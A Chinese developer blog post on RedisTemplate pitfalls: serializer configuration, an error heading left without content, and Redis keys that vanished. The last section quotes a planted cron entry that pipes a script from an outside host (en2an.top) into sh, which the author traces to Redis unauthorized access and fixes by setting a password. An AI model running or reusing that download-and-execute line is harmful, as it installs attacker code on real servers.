最近在项目中使用redis操作缓存,使用的是Spring-Data的RedisTemplate。使用RedisTemplate之后使得操作redis数据库非常简单,RedisTemplat支持Redis的各种数据结构的操作,提供了简单的api,只要调用API方法就可以实现数据的增删改查。但是在使用过程中也遇到了一些问题,这篇文章本来想的是全面的去介绍一下RedisTemplate如何去使用,如何操作各种数据库,但是在网上我看到了写的非常全面的文章,所以直接引用文章
RedisTemplate操作Redis,这一篇文章就够了(一)
。本文主要介绍我在使用RedisTemplate的时候遇到的一些问题。
文章目录
目录
二、RedisTemplate使用GenericFastJsonRedisSerializer序列化方式,获取String类型的value时报错
前言
下面是我在使用RedisTemplate在操作Redis的过程中遇到的一些问题以及解决方案。
一、RedisTemplate无法序列化javabean
问题:
RedisTemplate的默认序列化的类为JdkSerializationRedisSerializer,如果使用默认的序列化类,则在取数据的时候则会报错
DefaultSerializer requires a Serializable payload but received an object of type [XXX]
方案:
自定义RedisTemplate的序列化方式
@Configuration
public class RedisConfig {
@Bean
public RedisTemplate<Object, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
RedisTemplate<Object, Object> redisTemplate = new RedisTemplate<>();
redisTemplate.setConnectionFactory(redisConnectionFactory);
// 使用 GenericFastJsonRedisSerializer 替换默认序列化
GenericFastJsonRedisSerializer genericFastJsonRedisSerializer = new GenericFastJsonRedisSerializer();
// 设置key和value的序列化规则
redisTemplate.setKeySerializer(new GenericToStringSerializer<>(Object.class));
redisTemplate.setValueSerializer(genericFastJsonRedisSerializer);
// 设置hashKey和hashValue的序列化规则
redisTemplate.setHashKeySerializer(new GenericToStringSerializer<>(Object.class));
redisTemplate.setHashValueSerializer(genericFastJsonRedisSerializer);
return redisTemplate;
}
}
二、RedisTemplate使用GenericFastJsonRedisSerializer序列化方式,获取String类型的value时报错
三、Redis中的key莫名丢失
在使用redis的时候,发现自己设置的key并没有到达过期时间,但是会莫名的丢失
- 刚开始认为是服务器内存达到了最大值,执行了淘汰策略,查看服务器内存使用情况
发现服务器内存并没有使用多少
2. 是不是redis.conf配置文件中的内存设置太小导致的
maxmemory设置为0,表示不限制内存的大小,所以也排除这个可能
3. 登录redis客户端,发现所有的key都被删除,并且发现一个值为这个的
*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh
通过百度发现原来被攻击了:
redis未授权访问漏洞分析
解决方案:
通过给redis服务器添加密码访问
总结
使用redis的时候需要配置好序列化方式,并且注意redis的内存以及淘汰策略等,还有从这件事情,我觉得服务器的安全性也是重要的考量点